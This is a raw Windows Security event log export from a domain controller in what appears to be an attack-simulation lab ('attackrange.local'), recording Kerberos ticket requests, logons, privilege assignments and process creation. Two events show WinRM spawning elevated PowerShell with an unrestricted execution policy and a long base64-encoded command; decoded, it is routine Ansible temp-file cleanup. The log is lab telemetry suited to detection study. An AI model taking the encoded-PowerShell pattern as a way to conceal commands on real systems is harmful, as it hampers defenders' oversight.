The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251430
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1356D4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251429
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1350AE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251428
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1350AE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251427
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251426
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251425
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251424
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABnAEEATABnAEEAMABBAEQAVQBBAE8AUQBBAHkAQQBEAFEAQQBMAFEAQQAxAEEARABrAEEATwBBAEEAegBBAEQAYwBBAE4AQQBBADMAQQBEAFkAQQBPAFEAQQB6AEEARABZAEEATwBBAEEANQBBAEQAWQBBAEkAZwBBAGcAQQBDADAAQQBSAGcAQgB2AEEASABJAEEAWQB3AEIAbABBAEMAQQBBAEwAUQBCAFMAQQBHAFUAQQBZAHcAQgAxAEEASABJAEEAYwB3AEIAbABBAEQAcwBBAEMAZwBCAEoAQQBHAFkAQQBJAEEAQQBvAEEAQwAwAEEAYgBnAEIAdgBBAEgAUQBBAEkAQQBBAGsAQQBEADgAQQBLAFEAQQBnAEEASABzAEEASQBBAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBFAGMAQQBaAFEAQgAwAEEAQwAwAEEAVgBnAEIAaABBAEgASQBBAGEAUQBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwBBAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBBAHQAQQBFAFUAQQBjAGcAQgB5AEEARwA4AEEAYwBnAEIAQgBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBNAEEAYQBRAEIAcwBBAEcAVQBBAGIAZwBCADAAQQBHAHcAQQBlAFEAQgBEAEEARwA4AEEAYgBnAEIAMABBAEcAawBBAGIAZwBCADEAQQBHAFUAQQBLAFEAQQBnAEEASABzAEEASQBBAEIAbABBAEgAZwBBAGEAUQBCADAAQQBDAEEAQQBKAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEgAMABBAEkAQQBCAEYAQQBHAHcAQQBjAHcAQgBsAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQB4AEEAQwBBAEEAZgBRAEEAZwBBAEgAMABBAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251423
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABnAEEATABnAEEAMABBAEQAVQBBAE8AUQBBAHkAQQBEAFEAQQBMAFEAQQAxAEEARABrAEEATwBBAEEAegBBAEQAYwBBAE4AQQBBADMAQQBEAFkAQQBPAFEAQQB6AEEARABZAEEATwBBAEEANQBBAEQAWQBBAEkAZwBBAGcAQQBDADAAQQBSAGcAQgB2AEEASABJAEEAWQB3AEIAbABBAEMAQQBBAEwAUQBCAFMAQQBHAFUAQQBZAHcAQgAxAEEASABJAEEAYwB3AEIAbABBAEQAcwBBAEMAZwBCAEoAQQBHAFkAQQBJAEEAQQBvAEEAQwAwAEEAYgBnAEIAdgBBAEgAUQBBAEkAQQBBAGsAQQBEADgAQQBLAFEAQQBnAEEASABzAEEASQBBAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBFAGMAQQBaAFEAQgAwAEEAQwAwAEEAVgBnAEIAaABBAEgASQBBAGEAUQBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwBBAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBBAHQAQQBFAFUAQQBjAGcAQgB5AEEARwA4AEEAYwBnAEIAQgBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBNAEEAYQBRAEIAcwBBAEcAVQBBAGIAZwBCADAAQQBHAHcAQQBlAFEAQgBEAEEARwA4AEEAYgBnAEIAMABBAEcAawBBAGIAZwBCADEAQQBHAFUAQQBLAFEAQQBnAEEASABzAEEASQBBAEIAbABBAEgAZwBBAGEAUQBCADAAQQBDAEEAQQBKAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEgAMABBAEkAQQBCAEYAQQBHAHcAQQBjAHcAQgBsAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQB4AEEAQwBBAEEAZgBRAEEAZwBBAEgAMABBAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251422
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x134EA1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251421
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x134EA1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251420
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251419
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251418
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251417
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x134E85

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251416
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x134E85

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251415
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x134E85
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251414
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251413
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0CADAF93-4BA5-C116-6558-BA1D5ED404DF}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251412
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251411
